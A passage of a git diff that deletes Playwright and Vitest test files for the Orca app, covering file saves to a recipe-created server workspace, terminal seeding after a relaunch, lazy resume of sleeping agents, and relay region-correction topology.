a/tests/e2e/recipe-orca-server-file-save.spec.ts +++ /dev/null @@ -1,175 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { chmodSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs' -import { tmpdir } from 'node:os' -import path from 'node:path' -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' -import { expect, test } from './helpers/orca-app' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { switchToWorktree, waitForSessionReady } from './helpers/store' -import { openFileExplorer } from './helpers/file-explorer' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -// A per-workspace environment recipe that hands Orca an Orca server: files opened in the -// recipe-created workspace must save back to that server (#11762). -test.skip(process.platform === 'win32', 'The recipe scripts are POSIX shell') -test.use({ seedTestRepo: false }) - -test('saves an edited file in a recipe-created Orca server workspace', async ({ orcaPage }) => { - // Boots a second Orca as the environment's server, then restarts it mid-test. - test.setTimeout(300_000) - const host = await launchHeadlessPairedRuntimeHost({ pinnedServePort: true }) - const sourceRepo = mkdtempSync(path.join(tmpdir(), 'orca-recipe-server-source-')) - const vmRoot = mkdtempSync(path.join(tmpdir(), 'orca-recipe-server-vm-')) - try { - seedGitRepo(vmRoot, { 'notes.txt': 'VM notes' }) - seedRecipeRepo(sourceRepo, host.offer.pairingUrl, vmRoot) - await waitForSessionReady(orcaPage) - await orcaPage.evaluate(async (repoPath) => { - const result = await window.api.repos.add({ path: repoPath }) - if ('error' in result) { - throw new Error(result.error) - } - const store = window.__store! - await store.getState().fetchRepos({ runtimeEnvironmentId: null }) - await store.getState().updateSettings({ experimentalEphemeralVms: true }) - store.getState().setActiveRepo(result.repo.id) - }, sourceRepo) - - await openSidebarWorkspaceComposer(orcaPage) - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await expect(dialog).toBeVisible() - await dialog.getByRole('combobox', { name: 'Run on' }).click() - await orcaPage.getByRole('option', { name: /Per-Workspace Environment/ }).click() - await orcaPage - .getByRole('listbox', { name: 'Per-Workspace Environment' }) - .getByText('Local Orca server', { exact: true }) - .click() - const workspaceName = `recipe-save-${Date.now()}` - await dialog.getByPlaceholder(/Type a name/i).fill(workspaceName) - await dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }).click() - const trustDialog = orcaPage.getByRole('dialog', { name: /Run VM recipe/ }) - await expect(trustDialog).toBeVisible() - await trustDialog.getByRole('button', { name: 'Run hooks' }).click() - await expect(dialog).toBeHidden({ timeout: 60_000 }) - - const findWorkspace = () => - orcaPage.evaluate( - ({ name, sourceRepoPath }) => { - const state = window.__store!.getState() - const sourceRepoIds = new Set( - state.repos.filter((repo) => repo.path === sourceRepoPath).map((repo) => repo.id) - ) - return ( - Object.values(state.worktreesByRepo) - .flat() - .find( - (worktree) => - worktree.displayName === name && - !sourceRepoIds.has(worktree.repoId) && - Boolean(worktree.hostId?.startsWith('runtime:')) - ) ?? null - ) - }, - { name: workspaceName, sourceRepoPath: sourceRepo } - ) - await expect.poll(findWorkspace, { timeout: 120_000 }).not.toBeNull() - const workspace = (await findWorkspace())! - await switchToWorktree(orcaPage, workspace.id) - - await openFileExplorer(orcaPage) - const notesRow = orcaPage - .locator('[data-orca-explorer-shell] [data-file-explorer-row]') - .filter({ has: orcaPage.getByText('notes.txt', { exact: true }) }) - await expect(notesRow).toBeVisible({ timeout: 30_000 }) - await notesRow.click() - // The workspace lives on the server, so its model has a host-keyed URI rather than file:. - const editor = orcaPage - .locator('.monaco-editor[data-uri^="vscode-remote:"]') - .filter({ visible: true }) - const editorText = editor.locator('.view-lines') - await expect(editorText).toHaveText('VM notes', { timeout: 30_000 }) - const savedPath = path.join(workspace.path, 'notes.txt') - - const replaceText = async (text: string): Promise => { - await editor.click() - await orcaPage.keyboard.press('ControlOrMeta+A') - await orcaPage.keyboard.type(text) - await expect(editorText).toHaveText(text) - } - const waitForCleanTab = () => - expect - .poll( - () => - orcaPage.evaluate( - () => - window - .__store!.getState() - .openFiles.find((file) => file.relativePath === 'notes.txt')?.isDirty ?? null - ), - { timeout: 15_000 } - ) - .toBe(false) - - const sentinel = `Saved from recipe workspace ${Date.now()}` - await replaceText(sentinel) - await orcaPage.keyboard.press('ControlOrMeta+S') - await expect.poll(() => readFileSync(savedPath, 'utf8'), { timeout: 15_000 }).toBe(sentinel) - // The save round trip must finish before the server goes away. - await waitForCleanTab() - - // A VM that sleeps and wakes restarts its server. The tab opened before must still save - // there once the app reconnects on its own. Retried saves tolerate the reconnect window; - // a tab whose owner can no longer be verified never saves (#11762). - await host.restartServeProcess() - const afterWake = `Saved after wake ${Date.now()}` - await replaceText(afterWake) - await expect(async () => { - await orcaPage.keyboard.press('ControlOrMeta+S') - await expect.poll(() => readFileSync(savedPath, 'utf8'), { timeout: 3_000 }).toBe(afterWake) - }).toPass({ timeout: 60_000 }) - await waitForCleanTab() - } finally { - await host.dispose().catch(() => undefined) - rmSync(sourceRepo, { recursive: true, force: true }) - rmSync(vmRoot, { recursive: true, force: true }) - } -}) - -function seedGitRepo(repoPath: string, files: Record): void { - for (const [name, content] of Object.entries(files)) { - writeFileSync(path.join(repoPath, name), content) - } - execFileSync('git', ['init', '-b', 'main'], { cwd: repoPath }) - execFileSync('git', ['config', 'user.email', 'e2e@test.local'], { cwd: repoPath }) - execFileSync('git', ['config', 'user.name', 'Orca E2E'], { cwd: repoPath }) - execFileSync('git', ['add', '.'], { cwd: repoPath }) - execFileSync('git', ['commit', '-m', 'seed'], { cwd: repoPath }) -} - -function seedRecipeRepo(repoPath: string, pairingUrl: string, vmRoot: string): void { - const createScript = path.join(repoPath, 'create.sh') - writeFileSync( - createScript, - `#!/usr/bin/env bash -set -euo pipefail -node -e 'console.log(JSON.stringify({schemaVersion:1,connection:{type:"orca-server",pairingCode:process.argv[1],projectRoot:process.argv[2]}}))' ${quotePosixShell(pairingUrl)} ${quotePosixShell(vmRoot)} -` - ) - const destroyScript = path.join(repoPath, 'destroy.sh') - writeFileSync(destroyScript, '#!/usr/bin/env bash\ncat >/dev/null\n') - chmodSync(createScript, 0o755) - chmodSync(destroyScript, 0o755) - writeFileSync( - path.join(repoPath, 'orca.yaml'), - `environmentRecipes: - - id: local-orca-server - name: Local Orca server - create: ./create.sh - destroy: ./destroy.sh -` - ) - seedGitRepo(repoPath, {}) - execFileSync('git', ['remote', 'add', 'origin', 'https://github.com/stablyai/orca.git'], { - cwd: repoPath - }) -} diff --git a/tests/e2e/relaunch-first-terminal.spec.ts b/tests/e2e/relaunch-first-terminal.spec.ts deleted file mode 100644 index 72ceee412e3..00000000000 --- a/tests/e2e/relaunch-first-terminal.spec.ts +++ /dev/null @@ -1,150 +0,0 @@ -// After relaunch, preserve deliberately empty/editor-only workspaces and seed a terminal only when a never-opened workspace is shown. -// Main’s terminal rows must give the same answer with or without window tab saves. - -import path from 'node:path' -import { writeFileSync } from 'node:fs' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { switchToWorktree, waitForSessionReady } from './helpers/store' - -type WorkspaceTabs = { terminals: number; editors: number } - -async function createWorktree(page: Page, name: string): Promise { - return page.evaluate(async (worktreeName) => { - const state = window.__store!.getState() - const repoId = state.allWorktrees()[0]?.repoId - if (!repoId) { - throw new Error('seed repo was not loaded') - } - return (await state.createWorktree(repoId, worktreeName, undefined, 'skip')).worktree.id - }, name) -} - -async function workspaceTabs(page: Page, worktreeId: string): Promise { - return page.evaluate((id) => { - const state = window.__store!.getState() - const entries = state.unifiedTabsByWorktree[id] ?? [] - return { - terminals: (state.tabsByWorktree[id] ?? []).length, - editors: entries.filter((entry) => entry.contentType === 'editor').length - } - }, worktreeId) -} - -async function waitForTabs(page: Page, worktreeId: string, expected: WorkspaceTabs) { - await expect.poll(() => workspaceTabs(page, worktreeId), { timeout: 30_000 }).toEqual(expected) -} - -async function closeTerminals(page: Page, worktreeId: string): Promise { - await page.evaluate((id) => { - const state = window.__store!.getState() - for (const tab of state.tabsByWorktree[id] ?? []) { - state.closeTab(tab.id) - } - }, worktreeId) -} - -async function openEditor( - page: Page, - worktreeId: string, - filePath: string, - readOnly?: true -): Promise { - await page.evaluate( - ({ id, file, readOnly }) => { - window.__store!.getState().openFile({ - filePath: file, - relativePath: file.split('/').pop()!, - worktreeId: id, - language: 'plaintext', - mode: 'edit', - ...(readOnly ? { readOnly } : {}) - }) - }, - { id: worktreeId, file: filePath, readOnly } - ) -} - -async function isReadOnly(page: Page, filePath: string): Promise { - return page.evaluate( - (file) => - window.__store!.getState().openFiles.find((open) => open.filePath === file)?.readOnly ?? null, - filePath - ) -} - -async function worktreePath(page: Page, worktreeId: string): Promise { - return page.evaluate( - (id) => - window - .__store!.getState() - .allWorktrees() - .find((worktree) => worktree.id === id)!.path, - worktreeId - ) -} - -// The editor-only workspace's file also opens read-only, then again for editing: a relaunch -// restores it editable, as the reopen left it. -test('a relaunch seeds only a workspace that was never opened', async ({ - testRepoPath -}, testInfo) => { - const session = createRestartSession(testInfo) - const refusals: string[] = [] - const watch = (page: Page) => - page.on('console', (message) => { - if (/\[layout-owner\].*(refused|failed)/.test(message.text())) { - refusals.push(message.text()) - } - }) - let app: Awaited>['app'] | undefined - try { - const first = await session.launch() - app = first.app - watch(first.page) - await waitForSessionReady(first.page) - await attachRepoAndOpenTerminal(first.page, testRepoPath) - const stamp = Date.now() - const emptied = await createWorktree(first.page, `relaunch-emptied-${stamp}`) - const editorOnly = await createWorktree(first.page, `relaunch-editor-${stamp}`) - const neverOpened = await createWorktree(first.page, `relaunch-never-${stamp}`) - - await switchToWorktree(first.page, emptied) - await waitForTabs(first.page, emptied, { terminals: 1, editors: 0 }) - await closeTerminals(first.page, emptied) - await waitForTabs(first.page, emptied, { terminals: 0, editors: 0 }) - - await switchToWorktree(first.page, editorOnly) - await waitForTabs(first.page, editorOnly, { terminals: 1, editors: 0 }) - const notes = path.join(await worktreePath(first.page, editorOnly), 'relaunch-notes.txt') - writeFileSync(notes, 'notes\n') - await openEditor(first.page, editorOnly, notes, true) - await expect.poll(() => isReadOnly(first.page, notes)).toBe(true) - await openEditor(first.page, editorOnly, notes) - await expect.poll(() => isReadOnly(first.page, notes)).toBe(null) - await closeTerminals(first.page, editorOnly) - await waitForTabs(first.page, editorOnly, { terminals: 0, editors: 1 }) - // Long enough for the window's debounced save and main's commands to land. - await first.page.waitForTimeout(2_000) - await session.close(app) - app = undefined - - const second = await session.launch() - app = second.app - watch(second.page) - await waitForSessionReady(second.page) - for (const worktreeId of [emptied, editorOnly, neverOpened]) { - await switchToWorktree(second.page, worktreeId) - // A first terminal is created shortly after a workspace is shown, or not at all. - await second.page.waitForTimeout(3_000) - } - await waitForTabs(second.page, neverOpened, { terminals: 1, editors: 0 }) - expect(await workspaceTabs(second.page, emptied)).toEqual({ terminals: 0, editors: 0 }) - expect(await workspaceTabs(second.page, editorOnly)).toEqual({ terminals: 0, editors: 1 }) - expect(await isReadOnly(second.page, notes)).toBe(null) - expect(refusals).toEqual([]) - } finally { - await session.dispose(app) - } -}) diff --git a/tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts b/tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts deleted file mode 100644 index 20bbd099da4..00000000000 --- a/tests/e2e/relaunch-sleeping-agents-resume-on-view.spec.ts +++ /dev/null @@ -1,319 +0,0 @@ -// After relaunch with a killed daemon, resume agents only in visible panes, then on tab selection; phone workspace-open still wakes all immediately. -import { chmodSync, existsSync, readFileSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { TEST_REPO_PATH_FILE } from './global-setup' -import { mutateStoppedProfileState } from './helpers/persisted-profile-state' -import { - splitActiveTerminalPane, - waitForActiveTerminalManager, - waitForPaneCount -} from './helpers/terminal' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { attachRepoAndOpenTerminal, createRestartSession } from './helpers/orca-restart' -import { createHostRendererTerminalTab } from './helpers/host-created-terminal-retention-oracle' -import { PROTOCOL_VERSION } from '../../src/main/daemon/protocol/daemon-protocol-version' - -// Long enough for every mounted pane's restore to have started on a build that resumes eagerly. -const SETTLE_MS = 8_000 - -type AgentPane = { tabId: string; paneKey: string; sessionId: string } - -function readDaemonPid(userDataDir: string): number { - const raw = readFileSync( - path.join(userDataDir, 'daemon', `daemon-v${PROTOCOL_VERSION}.pid`), - 'utf8' - ) - const parsed: unknown = JSON.parse(raw) - const pid = parsed && typeof parsed === 'object' && 'pid' in parsed ? parsed.pid : undefined - if (typeof pid !== 'number') { - throw new Error(`Daemon pid file did not contain a numeric pid: ${raw}`) - } - return pid -} - -/** An agent CLI stand-in that records each resume it is asked for, then stays running. */ -function writeFakeAgent(dir: string): { command: string; log: string } { - const command = path.join(dir, 'fake-agent.sh') - const log = path.join(dir, 'fake-agent-resumes.log') - writeFileSync(log, '') - writeFileSync( - command, - `#!/bin/sh\nprintf '%s\\n' "$ORCA_PANE_KEY" >> '${log}'\nexec sleep 3600\n` - ) - chmodSync(command, 0o755) - return { command, log } -} - -/** Panes whose agent was resumed, in seeding order; the fake agent logs its pane's key. */ -function resumedPanes(log: string, panes: readonly AgentPane[]): string[] { - const resumed = new Set(readFileSync(log, 'utf8').split('\n')) - return panes.filter((pane) => resumed.has(pane.paneKey)).map((pane) => pane.paneKey) -} - -async function readPaneKeys(page: Page, tabId: string): Promise { - return page.evaluate((id) => { - const root = window.__store?.getState().terminalLayoutsByTabId[id]?.root ?? null - const leaves: string[] = [] - const walk = (node: typeof root): void => { - if (!node) { - return - } - if (node.type === 'leaf') { - leaves.push(`${id}:${node.leafId}`) - return - } - walk(node.first) - walk(node.second) - } - walk(root) - return leaves - }, tabId) -} - -async function reportWorkingAgent(page: Page, worktreeId: string, pane: AgentPane): Promise { - await page.evaluate( - ({ paneKey, worktreeId: wtId, sessionId }) => { - window.__store - ?.getState() - .setAgentStatus( - paneKey, - { state: 'working', prompt: 'finish the task', agentType: 'codex' }, - 'Codex', - undefined, - { worktreeId: wtId }, - { providerSession: { key: 'session_id', id: sessionId } } - ) - }, - { paneKey: pane.paneKey, worktreeId, sessionId: pane.sessionId } - ) -} - -function pointRecordsAtFakeAgent(userDataDir: string, command: string, count: number): void { - mutateStoppedProfileState(userDataDir, (state) => { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This test owns the persisted fixture; optional fields are checked at use sites. - const data = state as { - workspaceSession?: { - sleepingAgentSessionsByPaneKey?: Record - } - } - const records = Object.values(data.workspaceSession?.sleepingAgentSessionsByPaneKey ?? {}) - if (records.length !== count) { - throw new Error(`Expected ${count} persisted agent records, found ${records.length}`) - } - for (const record of records) { - record.launchConfig = { agentCommand: command, agentArgs: '', agentEnv: {} } - } - }) -} - -async function activateTab(page: Page, tabId: string): Promise { - await page.evaluate((id) => { - const store = window.__store?.getState() - store?.setActiveTab(id) - store?.setActiveTabType('terminal', store.activeWorktreeId) - }, tabId) -} - -/** Moves the tab through the window's own tab-move path, which a layout-owner build sends to main. */ -async function moveTabIntoRightGroup( - app: ElectronApplication, - page: Page, - worktreeId: string, - anchorTabId: string, - movedTabId: string -): Promise { - const move = await page.evaluate( - ({ wtId, anchorTabId, movedTabId }) => { - const tabs = window.__store!.getState().unifiedTabsByWorktree[wtId] ?? [] - const anchor = tabs.find((tab) => tab.entityId === anchorTabId) - const moved = tabs.find((tab) => tab.entityId === movedTabId) - if (!anchor || !moved) { - throw new Error('Could not find the tabs to place side by side') - } - return { tabId: moved.id, targetGroupId: anchor.groupId } - }, - { wtId: worktreeId, anchorTabId, movedTabId } - ) - await app.evaluate( - ({ BrowserWindow }, payload) => { - BrowserWindow.getAllWindows()[0]?.webContents.send('ui:moveSessionTab', payload) - }, - { worktreeId, kind: 'split' as const, splitDirection: 'right' as const, ...move } - ) - await expect - .poll(() => - page.evaluate( - (wtId) => window.__store?.getState().groupsByWorktree[wtId]?.length ?? 0, - worktreeId - ) - ) - .toBe(2) -} - -type Scenario = { - app: ElectronApplication - page: Page - worktreeId: string - log: string -} - -// Seed tabs/splits/groups with working agents, quit with the first visible, kill their daemon and relaunch. -async function relaunchWithSleepingAgents( - testInfo: Parameters[2]>[1], - options: { tabCount: number; splitFirstTab?: boolean; secondTabInRightGroup?: boolean }, - run: (scenario: Scenario, panes: AgentPane[]) => Promise -): Promise { - const repoPath = readFileSync(TEST_REPO_PATH_FILE, 'utf-8').trim() - if (!repoPath || !existsSync(repoPath)) { - test.skip(true, 'Global setup did not produce a seeded test repo') - return - } - test.skip(process.platform === 'win32', 'Uses POSIX SIGKILL and a shell-script agent') - - const fakeAgent = writeFakeAgent(testInfo.outputPath()) - const session = createRestartSession(testInfo) - let firstApp: ElectronApplication | null = null - let secondApp: ElectronApplication | null = null - try { - const firstLaunch = await session.launch() - firstApp = firstLaunch.app - const page = await firstApp.firstWindow() - const worktreeId = await attachRepoAndOpenTerminal(page, repoPath) - await waitForSessionReady(page) - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneCount(page, 1, 30_000) - - const firstTabId = await page.evaluate( - (wtId) => window.__store?.getState().tabsByWorktree[wtId]?.[0]?.id ?? null, - worktreeId - ) - if (!firstTabId) { - throw new Error('The workspace never opened its first terminal tab') - } - if (options.splitFirstTab) { - await splitActiveTerminalPane(page, 'vertical') - await waitForPaneCount(page, 2, 30_000) - } - const tabIds = [firstTabId] - for (let index = 1; index < options.tabCount; index += 1) { - tabIds.push(await createHostRendererTerminalTab(page, worktreeId)) - } - - const panes: AgentPane[] = [] - for (const tabId of tabIds) { - for (const paneKey of await readPaneKeys(page, tabId)) { - const pane = { tabId, paneKey, sessionId: `e2e-lazy-resume-${panes.length}-${Date.now()}` } - session.seedCodexResumeRollout(pane.sessionId, repoPath) - await reportWorkingAgent(page, worktreeId, pane) - panes.push(pane) - } - } - if (options.secondTabInRightGroup) { - await moveTabIntoRightGroup(firstApp, page, worktreeId, tabIds[0]!, tabIds[1]!) - } - await activateTab(page, firstTabId) - - const daemonPid = readDaemonPid(session.userDataDir) - await session.close(firstApp) - firstApp = null - pointRecordsAtFakeAgent(session.userDataDir, fakeAgent.command, panes.length) - // Why: every agent dies with the daemon while Orca is closed, as on a reboot. - process.kill(daemonPid, 'SIGKILL') - - const secondLaunch = await session.launch() - secondApp = secondLaunch.app - await waitForSessionReady(secondLaunch.page) - await expect - .poll(() => secondLaunch.page.evaluate(() => window.__store?.getState().activeWorktreeId), { - timeout: 15_000 - }) - .toBe(worktreeId) - await ensureTerminalVisible(secondLaunch.page) - await run({ app: secondApp, page: secondLaunch.page, worktreeId, log: fakeAgent.log }, panes) - } finally { - if (secondApp) { - await session.close(secondApp) - } - if (firstApp) { - await session.close(firstApp) - } - await session.dispose() - } -} - -test('resumes only the visible sleeping agent, then each tab as it is opened, and all on a phone wake', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - await relaunchWithSleepingAgents( - testInfo, - { tabCount: 3 }, - async ({ app, page, worktreeId, log }, panes) => { - const [visible, second, third] = panes - await expect - .poll(() => resumedPanes(log, panes), { timeout: 30_000 }) - .toContain(visible!.paneKey) - await page.waitForTimeout(SETTLE_MS) - expect(resumedPanes(log, panes), 'hidden tabs resumed on workspace open').toEqual([ - visible!.paneKey - ]) - - await activateTab(page, second!.tabId) - await expect - .poll(() => resumedPanes(log, panes), { timeout: 30_000 }) - .toEqual([visible!.paneKey, second!.paneKey]) - await page.waitForTimeout(SETTLE_MS / 2) - expect(resumedPanes(log, panes)).toEqual([visible!.paneKey, second!.paneKey]) - - // A phone opening the workspace wakes the rest without the user opening the tab. - await app.evaluate(({ BrowserWindow }, id) => { - BrowserWindow.getAllWindows()[0]?.webContents.send('ui:resumeSleepingAgents', { - worktreeId: id - }) - }, worktreeId) - await expect - .poll(() => resumedPanes(log, panes), { timeout: 30_000 }) - .toEqual([visible!.paneKey, second!.paneKey, third!.paneKey]) - } - ) -}) - -test('resumes both agents of a visible split and none in hidden tabs', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - await relaunchWithSleepingAgents( - testInfo, - { tabCount: 2, splitFirstTab: true }, - async ({ log }, panes) => { - const splitPanes = panes.filter((pane) => pane.tabId === panes[0]!.tabId) - expect(splitPanes).toHaveLength(2) - await expect - .poll(() => resumedPanes(log, panes), { timeout: 30_000 }) - .toEqual(splitPanes.map((pane) => pane.paneKey)) - await new Promise((resolve) => setTimeout(resolve, SETTLE_MS)) - expect(resumedPanes(log, panes), 'a hidden tab resumed on workspace open').toEqual( - splitPanes.map((pane) => pane.paneKey) - ) - } - ) -}) - -test('resumes the visible tab of each side-by-side group and none behind them', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - await relaunchWithSleepingAgents( - testInfo, - { tabCount: 3, secondTabInRightGroup: true }, - async ({ page, log }, panes) => { - const [leftVisible, rightVisible] = panes - await expect - .poll(() => resumedPanes(log, panes), { timeout: 30_000 }) - .toEqual([leftVisible!.paneKey, rightVisible!.paneKey]) - await page.waitForTimeout(SETTLE_MS) - expect(resumedPanes(log, panes), 'a tab behind a group resumed on open').toEqual([ - leftVisible!.paneKey, - rightVisible!.paneKey - ]) - } - ) -}) diff --git a/tests/e2e/relay-region-correction.unit.test.ts b/tests/e2e/relay-region-correction.unit.test.ts deleted file mode 100644 index 85dbd361881..00000000000 --- a/tests/e2e/relay-region-correction.unit.test.ts +++ /dev/null @@ -1,573 +0,0 @@ -import { createHash, randomUUID } from 'node:crypto' -import { once } from 'node:events' -import { afterEach, describe, expect, it, vi } from 'vitest' -import nacl from 'tweetnacl' -import WebSocket from 'ws' -import type { IdleRegionalRehomeRequest } from '../../cloud/packages/relay-contract/src/idle-regional-rehome' -import { - openInMemoryRelayDatabase, - readRelayDatabasePoolPressure -} from '../../cloud/apps/relay/src/database/database' -import { createRelayServer } from '../../cloud/apps/relay/src/relay-server' -import { IDLE_REHOME_MIN_CONTROL_AGE_MS } from '../../cloud/apps/relay/src/connections/host-session-registry' -import { CONTROL_RENEWAL_BATCH_INTERVAL_MS } from '../../cloud/apps/relay/src/control-leases/control-renewal-batch' -import { RELAY_PROTOCOL_LIMITS } from '../../cloud/packages/relay-contract/src/protocol-limits' -import type * as AdminTokenVerifier from '../../cloud/apps/relay/src/authentication/admin-token-verifier' -import { RelayOriginPool } from '../../src/main/runtime/mobile-cloud-relay/origin-lifecycle/relay-origin-pool' -import { RELAY_HOST_CAPABILITY_HEADERS } from '../../src/main/runtime/mobile-cloud-relay/control-channel/relay-control-protocol' -import type { MobileSocketTransport } from '../../src/main/runtime/rpc/mobile/mobile-socket-wiring' -import { createRelayExecutionProcess } from './helpers/relay-execution-process' - -vi.mock('../../cloud/apps/relay/src/authentication/relay-token-verifier', () => ({ - createRelayTokenVerifier: () => async (hostId: string) => ({ - sub: 'transport-test-user', - prof: 'profile-1', - org: 'org-1', - relayHostId: hostId, - purpose: 'host-control', - exp: 4_102_444_800 - }), - readBearer: (value: string | undefined) => value?.replace(/^Bearer /, '') ?? null -})) - -vi.mock( - '../../cloud/apps/relay/src/authentication/admin-token-verifier', - async (importOriginal) => ({ - ...(await importOriginal()), - createRegionalRehomeTokenVerifier: () => async (token: string) => - token === 'test-director-token' - }) -) - -const cleanups: (() => Promise)[] = [] -afterEach(async () => { - const failures: unknown[] = [] - for (const cleanup of cleanups.splice(0).toReversed()) { - try { - await cleanup() - } catch (error) { - failures.push(error) - } - } - vi.restoreAllMocks() - if (failures.length > 0) { - throw new AggregateError(failures, 'relay topology cleanup failed') - } -}) - -async function topology() { - const execution = await createRelayExecutionProcess() - cleanups.push(() => execution.close()) - let clock = Date.now() - vi.spyOn(Date, 'now').mockImplementation(() => clock) - const database = await openInMemoryRelayDatabase() - cleanups.push(() => database.close()) - const keypair = nacl.box.keyPair() - const hostId = createHash('sha256').update(keypair.publicKey).digest('base64url').slice(0, 16) - const identity = { userId: 'transport-test-user', relayHostId: hostId } - const cells = [ - { - id: 'transport-us', - url: 'https://transport-us.example.test', - region: 'us-central1' as const, - capacityRequests: 100 - }, - { - id: 'transport-asia', - url: 'https://transport-asia.example.test', - region: 'asia-east2' as const, - capacityRequests: 100 - } - ] - const incarnations = [ - '11111111-1111-4111-8111-111111111111', - '22222222-2222-4222-8222-222222222222' - ] - const endpoints = new Map() - const sockets = new Set() - const servers = cells.map((cell, index) => - createRelayServer( - { - port: 0, - publicUrl: cell.url, - cellUrl: cell.url, - role: 'cell', - cellId: cell.id, - region: cell.region, - cells, - dataDir: '', - authIssuer: 'https://auth.example.test', - authAudience: 'orca-relay', - adminJwksUrl: 'https://auth.example.test/jwks', - jwksUrl: 'https://auth.example.test/jwks', - assignmentSigningKey: new Uint8Array(32), - adminAudience: 'https://director.example.test/v1/admin/drain', - deployServiceAccount: 'deploy@example.test', - runtimeServiceAccount: 'relay-cell@example.test', - rehomeAudience: 'https://director.example.test/v1/admin/host-drain', - rehomeDirectorServiceAccount: 'director@example.test', - databasePoolMax: 1, - publicAssignmentsEnabled: true, - publicAssignmentConcurrency: 2, - publicAssignmentQueueMax: 128, - publicAssignmentWaitMs: 4_000, - publicResolveConcurrency: 1, - publicResolveWaitMs: 5_000, - publicAssignmentRetryAfterSeconds: 5, - regionCorrectionCohortPercent: 100 - }, - database, - { now: () => clock, random: () => 0.5, cellIncarnation: incarnations[index] } - ) - ) - cleanups.push(async () => { - for (const socket of sockets) { - socket.terminate() - } - for (const relay of servers) { - relay.sessions.drain(0) - await new Promise((resolve) => relay.server.close(() => resolve())) - } - }) - const source = servers[0]! - const target = servers[1]! - await source.assignments.inspectRegionalRehomeControl() - clock += 86_400_000 - await source.assignments.applyRegionalRehomeControl({ - expectedGeneration: 0, - enabled: true, - notBefore: clock, - ratePerMinute: 10, - preferenceMaxAgeMs: 86_400_000, - hostCooldownMs: 604_800_000, - drainGraceMs: 60_000 - }) - await source.assignments.reconcileCells(cells) - const startedAt = clock - 1_000 - const safety = () => ({ - observedAt: clock, - sqlFailures: 0, - reconnects: 0, - controlActivityRecoveryFailures: 0, - databasePoolWaiting: 0, - databasePoolWaitersMax: 0, - databasePoolWaitMsMax: 0 - }) - const heartbeat = async () => { - for (const [index, cell] of cells.entries()) { - const relay = servers[index]! - relay.observability.flush({ - ...relay.runtimeCounts(), - ...readRelayDatabasePoolPressure(database) - }) - await source.assignments.recordCellHeartbeat({ - cellId: cell.id, - cellUrl: cell.url, - region: cell.region, - cellIncarnation: incarnations[index]!, - startedAt, - ready: true, - observedRequests: 0 - }) - await source.assignments.recordCellRegionalRehomeStatus({ - cellId: cell.id, - cellIncarnation: incarnations[index]!, - regionalRehomeProtocol: 3, - safety: { - observedAt: clock, - sqlFailures: 0, - reconnects: 0, - controlActivityRecoveryFailures: 0, - databasePoolWaiting: 0, - databasePoolWaitersMax: 0, - databasePoolWaitMsMax: 0 - } - }) - } - } - await heartbeat() - for (const [index, relay] of servers.entries()) { - relay.server.listen(0, '127.0.0.1') - await once(relay.server, 'listening') - const address = relay.server.address() - if (!address || typeof address === 'string') { - throw new Error('missing local address') - } - endpoints.set(new URL(cells[index]!.url).host, `ws://127.0.0.1:${address.port}`) - } - const connect = (url: string, headers?: Record) => { - const parsed = new URL(url) - const socket = new WebSocket(`${endpoints.get(parsed.host)}${parsed.pathname}`, { headers }) - sockets.add(socket) - return socket - } - let failCorroboration = 0 - let pauseCorroboration = false - let corroborationFailures = 0 - let rejectTargetControls = false - let targetControlFailures = 0 - const executionErrors: unknown[] = [] - let delayedReply: (() => void) | null = null - const received: string[] = [] - const pool = new RelayOriginPool({ - directorUrl: 'https://director.example.test', - relayHostId: hostId, - identity: { userId: identity.userId, profileId: 'profile-1', organizationId: 'org-1' }, - keypair: { ...keypair, publicKeyB64: Buffer.from(keypair.publicKey).toString('base64') }, - appVersion: 'transport-test', - isCurrent: () => true, - onStatus: () => {}, - now: () => clock, - mobileSocketWiring: { - attachTransport: (transport: MobileSocketTransport) => { - transport.onMessage((raw, reply) => { - const value = raw.toString() - received.push(value) - void execution - .execute(value) - .then((output) => { - if (output === 'mutation-1') { - delayedReply = () => reply('mutation-1-ack') - } else { - reply(`host:${output}`) - } - }) - .catch((error) => executionErrors.push(error)) - }) - return () => {} - } - } as never, - createControlSocket: (url, token) => { - if (rejectTargetControls && new URL(url).host === new URL(cells[1]!.url).host) { - targetControlFailures++ - throw new Error('simulated_target_unavailable') - } - const socket = connect(url, { - authorization: `Bearer ${token}`, - ...RELAY_HOST_CAPABILITY_HEADERS - }) - if (process.env.ORCA_RELAY_TRANSPORT_DIAGNOSTICS === '1') { - const cell = new URL(url).host - console.info('transport-control-created', { - cell, - stack: new Error('transport control created').stack - }) - socket.on('message', (raw) => { - const message = JSON.parse(raw.toString()) - if (['region-restored', 'host-hello-ack', 'drain'].includes(message.type)) { - console.info('transport-control-message', { - cell, - type: message.type, - assignmentEpoch: message.assignmentEpoch, - generation: message.generation - }) - } - }) - socket.on('close', (code) => console.info('transport-control-close', { cell, code })) - } - return socket - }, - createDataSocket: (url) => connect(url), - fetch: (async () => { - if (failCorroboration > 0 || pauseCorroboration) { - failCorroboration = Math.max(0, failCorroboration - 1) - corroborationFailures++ - return Response.json({ error: 'temporary_director_failure' }, { status: 503 }) - } - const assignment = await 